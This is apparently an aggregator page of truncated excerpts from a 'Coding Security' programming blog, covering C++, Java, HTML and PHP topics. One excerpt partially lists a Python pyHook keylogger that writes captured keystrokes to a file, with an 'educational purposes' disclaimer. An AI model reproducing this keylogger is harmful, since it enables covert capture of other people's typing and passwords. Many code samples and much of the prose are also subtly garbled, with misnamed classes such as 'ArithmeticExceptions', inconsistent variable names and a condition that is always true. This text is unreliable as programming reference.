What are local classes in C++ Programming
read more

How constructors are used in inheritance in Java Programming

In this article we will look at the sequence in which constructor in inheritance are executed i.e., is the base class constructor invoked first or the derived class constructors is invoked first. Consider two classes participating in simple inheritance. Let A be the super classes and B be the sub class. Now, which constructors is invoked first? Is it the constructor of B followed by the constructors of A or vice versa? The sequence in which the constructor are invoked is from super class to sub class i.e, first the constructors of class A is executed then constructors of class

The post How constructors are used in inheritance in Java Programming appeared first on Coding Security.


How constructors are used in inheritance in Java Programming
read more

Selasa, 07 Februari 2017

What are the thread grouping methods in Java Programming

Following are some of the methods available in ThreadGroup class: getName() – To get the name of the thread groups setMaxPriority() – To set the maximum priority of all the threads in the groups setMinPriority() – To set the minimum priority of all the threads in the groups start() – To start the execution of all the threads in the groups list() – To print information of the thread group and the threads in the groups.   Below program demonstrates the use of thread group in Java: 1 2 3 4 5 6 7 8 9 10 11 12 13 14

The post What are the thread grouping methods in Java Programming appeared first on Coding Security.


What are the thread grouping methods in Java Programming
read more

What are type defined structures in C programming

We can use the keyword typedef to define a structure as follows: 1 2 3 4 5 6 7 typedef  struct { char name; char rollno; int age; char grade; }student; The name student represents the structure definition associated with it and therefore can be used to declare structure variables as shown below: 1 student student1, student2, student3;   Accessing Structure Members We can access and assign values to the members of a structure in a number of ways. As mentioned earlier, the members themselves are not variables. They should be linked to the structure variables in order to make them

The post What are type defined structures in C programming appeared first on Coding Security.


What are type defined structures in C programming
read more

What are frame sets and frame documents in HTML

Frames are a bit complex to implement, as they require a separate documents to define the frame layout as well as individual document to occupy the frame. Creating a frameset A frameset is created like any other HTML document, except that its contents are limited to frame related tag. Following HTML code is an example for a frameset document: 1 2 3 4 5 6 7 8 9 10 11 <!DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.01 Frameset//EN” “http://ift.tt/2jYYxwM; <html>   <head>     …   </head>   <frameset attributes>     <frame attributes></frame>     <frame attributes></frame>     …   </frameset> </html> Some of the key points to note from the

The post What are frame sets and frame documents in HTML appeared first on Coding Security.


What are frame sets and frame documents in HTML
read more

5 Best Free Development Tools Every Developer Should Know

For every developer, along with the knowledge of programming language, a sound knowledge of developer tools is needed for more productive outcome. Dealing with bugs and errors is a developers daily routine and to control the number of bugs and errors, some minor tools help a lot. Hence these tools make the life of a developer easy. There are thousands of developer tools across the internet but there are some tools which are very important and every developer needs to know them to maintain a better work flow. 5 Best Development Tools Every Developer Should Know 1. GitHub GitHub needs no introduction. It

The post 5 Best Free Development Tools Every Developer Should Know appeared first on Coding Security.


5 Best Free Development Tools Every Developer Should Know
read more

Senin, 06 Februari 2017

How to avoid overhead of the function using inline functions

Making a function inline avoids the overhead of a function call. By default functions defined inside a class are inline. To get the benefits of making a function inline, function defined outside the class can also be made inline. Syntax for defining a function as inline is as follow: 1 2 3 4 inline return–type ClassName :: function–names(params–list) { //Body of function } Consider the following example which demonstrate inline member functions: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28

The post How to avoid overhead of the function using inline functions appeared first on Coding Security.


How to avoid overhead of the function using inline functions
read more

What are constant member functions and constant parameters

Member functions in a class can be declared as constant if that member function has no necessity of modifying any data members. A member function can be declared as constant as follows: 1 2 3 4 return–type function–name(params–list) const { //body of function }   Following program demonstrates the use of constant member functions: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 #include<iostream> using namespace std; class Circle { private:

The post What are constant member functions and constant parameters appeared first on Coding Security.


What are constant member functions and constant parameters
read more

How to perform HTTP authentication in Servlets

It is common in web applications to pass data or parameters from one to another page. To retrieve the value of various elements in a HTML form or from another page, we can use the following method which is available in HttpServletRequest object: String getParameters(String  name) Enumeration getParameterName() String getParamterValue(String  name) Client sends a HTTP request from web browsers containing a URL with servlet. Web server receives the request and forwards the request to application servers. Using information available in xml (deployment descriptor) the servlet container loads the object appropriate servlet classes. If required, the servlet retrieves data from database,

The post How to perform HTTP authentication in Servlets appeared first on Coding Security.


How to perform HTTP authentication in Servlets
read more

Minggu, 05 Februari 2017

5 bad practices that PHP devs shouldn’t follow

Do Not Write Wasteful Code Code quality is very important for any project.In PHP 7 don’t waste your time by writing wasteful code. it will become increasingly important because the speed increase in PHP 7 may hide some of your issue. Don’t be content with your site speed simply because the switch to PHP 7 made it faster. As developer you should always make sure to load scripts only when they are needed, concatenate them when possible, write efficient database queries, use caching when possible and so on.     Do Not Use mysql_ Functions In PHP 7 it’s high time

The post 5 bad practices that PHP devs shouldn’t follow appeared first on Coding Security.


5 bad practices that PHP devs shouldn’t follow
read more

9 Most Demanding programming languages as of 2017

A simple Google Search will land you with hundreds of programming languages in existence, DO the search of the most popular programming languages you will come up with a confusing list, Hence we have done the work to see what is the best programming language as of the career perspective. #1 SQL The number of Indeed job description including SQL (Structured Query Language) increased by nearly 50,000 this year over last year, giving SQL a dramatic lead over the other language. It’s unclear if this is entirely due to more SQL job in the market or a change in how

The post 9 Most Demanding programming languages as of 2017 appeared first on Coding Security.


9 Most Demanding programming languages as of 2017
read more

5 Best useful Java Third Party libraries

Apache Pivot Apache Pivot™ is an open-source platform for building installable Internet applications (IIAs). It combines the enhanced productivity and usability features of a modern UI toolkit with the robustness of the Java platforms. It allows developers to easily construct visually-engaging, cross-platform, connected applications in Java or any other JVM language, such as JavaScript, Groovy, or Scala. Pivot is also the only truly open IIA frameworks: it is completely open source, and is driven entirely by the software development communities. Pivot enables developers to build solution using the tools they already know, decreasing delivery time and reducing technology sprawl. Vaadin Vaadin

The post 5 Best useful Java Third Party libraries appeared first on Coding Security.


5 Best useful Java Third Party libraries
read more

Sabtu, 04 Februari 2017

How does threads communicate with each other in Programming

In this article we will learn how to implement inter-thread communications i.e how can we coordinate the communication between two or more thread.   Although we can restrict the access of datas or codes to a single thread at a time by using synchronization, it can’t guarantee the consistent execution of our logic.   As an example let’s consider the conventional Producer-Consumer problem which is generally introduced in Operating System course. In this problem Producer process or thread produces item and stores in a queue and Consumer processes or thread consumes items from the queues. Note that the Consumer thread should wait until the

The post How does threads communicate with each other in Programming appeared first on Coding Security.


How does threads communicate with each other in Programming
read more

What is an Anonymous Inner Class Java Programming

Anonymous inner classes are nameless inner class which can be declared inside another classes or as an expression inside a method definitions. The above mouse event handling programs can further be simplified by using an anonymous inner classes as shown below: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import javax.swing.*; import java.awt.*; import java.awt.event.*; public class MyApplet extends JApplet { JLabel labels; public void init() { setSize(600,450); setLayout(new FlowLayout()); label = new JLabel(); add(labels); addMouseListener(new MouseAdapter() { public void mouseClicked(MouseEvent me) { label.setText(“Mouse is

The post What is an Anonymous Inner Class Java Programming appeared first on Coding Security.


What is an Anonymous Inner Class Java Programming
read more

What are different states of Threads in java Programming

In this article, we will learn about different thread states along with an example programs that demonstrates thread life cycle.   The life cycle of a thread refers to all the action or activities done by a thread from its creation to terminations. A thread can be in any one of the following five states during its lifecycles: New: A thread is created but didn’t begin its executions. Runnable: A thread that either is executing at present or that will execute when it gets the access to CPUs. Terminated: A thread that has completed its executions. Waiting: A thread that

The post What are different states of Threads in java Programming appeared first on Coding Security.


What are different states of Threads in java Programming
read more

Jumat, 03 Februari 2017

What is the usage of class Template in Generic Programming

Using templates programmers can create abstract class that define the behavior of the classes without actually knowing what data types will be handled by the class operation. Such class are known as class templat. Syntax for creating a class template is as follow: 1 2 3 4 5 6 7 template<class Type1, class Type2, ...> class ClassName { ... //Body of the class ... };   Syntax for creating an objects of the template class is as follow: 1 ClassName<Type> ObjectName(params–list);   The process of creating an objects of a template class or creating a specific classes from a class

The post What is the usage of class Template in Generic Programming appeared first on Coding Security.


What is the usage of class Template in Generic Programming
read more

How to ReThrow an Exception in C++ Programming

In C++ if a functions or a nested try-blocks does not want to handle an exceptions, it can rethrow that exceptions to the functions or the outer try-block to handle that exceptions. Syntax for rethrowing and exceptions is as follow: throw;   Following program demonstrate rethrowing and exceptions to outer try-catch block: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 #include<iostream> using namespace std; int main() { int ab, ba; cout<<“Enter

The post How to ReThrow an Exception in C++ Programming appeared first on Coding Security.


How to ReThrow an Exception in C++ Programming
read more

How to prevent modification of objects in C++ using volatile

An object which can be modified by some unknown force (like hardware io) other than the programs itself can be declared as volatile. The compilers doesn’t apply any optimization for such volatile object. The syntax for declaring a volatile objects is as follow: volatile ClassName object-name;   A member functions can be declared as volatile to make the access to members variable to be volatile. A volatile object can access only volatile function. The syntax for creating a volatile functions is as follows: return-type function-name(args) volatile;   Following programs demonstrates both volatile objects and volatile program: 1 2 3 4

The post How to prevent modification of objects in C++ using volatile appeared first on Coding Security.


How to prevent modification of objects in C++ using volatile
read more

Kamis, 02 Februari 2017

How data abstraction is done in C++ Programming

A class which contains at least one pure virtual functions is called an abstract class. Since abstract classes is incomplete, another class should derive it and provide definition for the pure virtual function in the abstract class.   Following are the features of abstract classes: Abstract class must contain at least one pure virtual functions. Objects cannot be created for abstract classes. But pointer can be created. Classes inheriting abstract classes must provide definitions for all pure virtual function in the abstract class. Otherwise, the sub class also becomes abstract classes. Abstract classes can have non-virtual functions and data member.

The post How data abstraction is done in C++ Programming appeared first on Coding Security.


How data abstraction is done in C++ Programming
read more

How to overload unary operators in C++ Programming

Operators which work on operands are known as a unary operator. Examples are: increment operator(++)  decrement operator(–) unary minus operator(-) logical not operator(!) etc. Using a member functions to overload an unary operator Following program demonstrate overloading unary minus operators using a member function: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 #include <iostream> using namespace std; class Numbers { private: int xs; public: Numbers(int xs) { this->xs = xs; } void operator –() { xs =

The post How to overload unary operators in C++ Programming appeared first on Coding Security.


How to overload unary operators in C++ Programming
read more

How to create a keyLogger in Python

In this tutorial we are ging to learn how to create keylogger in python, you can use to log your keys in your computer   This Tutorial is only for educational purposes if you use the code on other’s computer without their permission we won’t carry any responsibility. Open up an empty file in your favorite text editor and Buckle Up import win32api import sys import pythoncom, pyHook buffer = '' def OnKeyboardEvent(event): if event.Ascii == 5: sys.exit() if event.Ascii != 0 or 8: f = open ('c:\\output.txt', 'a') keylogs = chr(event.Ascii) if event.Ascii == 13: keylogs = keylogs +

The post How to create a keyLogger in Python appeared first on Coding Security.


How to create a keyLogger in Python
read more

Rabu, 01 Februari 2017

How to make a Daemon Threads in java programming

In this article we will learn what are daemon thread? and how to make threads as daemon thread along with example Java programs.   A daemon thread is a threads which runs in the background. Example for daemon thread in Java is the garbage collectors. In Java, thread can be divided into two categorie: User thread Daemon thread   A user threads is a general threads which are created by the users. A daemon threads are also a user threads which is made as a daemon threads (background threads).   Difference between a users thread and a daemon threads are,

The post How to make a Daemon Threads in java programming appeared first on Coding Security.


How to make a Daemon Threads in java programming
read more

what is the scope of the keyword static in the class instance (Java programming)

In Java program, static keyword can be used to create the following: Class variable Class method Static block   Class Variable: The static keyword is used to create one of the three type of variable called as class variable. A class variables is a variables declared inside a class and outside all the methods and is marked as static. Syntax for declaring a classes variables or a static variables is shown below: static data-type variable-name; Example for declaring a classes variable is shown below: static int id; What is special about a class variables? As you already know, an instance

The post what is the scope of the keyword static in the class instance (Java programming) appeared first on Coding Security.


what is the scope of the keyword static in the class instance (Java programming)
read more

What is a Throwable instance in java Programming

throw Keyword The throw keywords can be used in Java program to throw exceptions objects in explicit way. The syntax of using throw is as follow: throw ThrowableInstance; The ThrowableInstance can be objects of Throwable classes or any of its sub class. A reference to the Throwable instance can be obtained using the parameters in catch block or by using the new operators. Let’s see a sample programs that demonstrates the use of throw: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 class ArrayExceptions { public static void main(String args) { try { throw new ArithmeticExceptions(“Test throw”); } catch(Exception em) {

The post What is a Throwable instance in java Programming appeared first on Coding Security.


What is a Throwable instance in java Programming
read more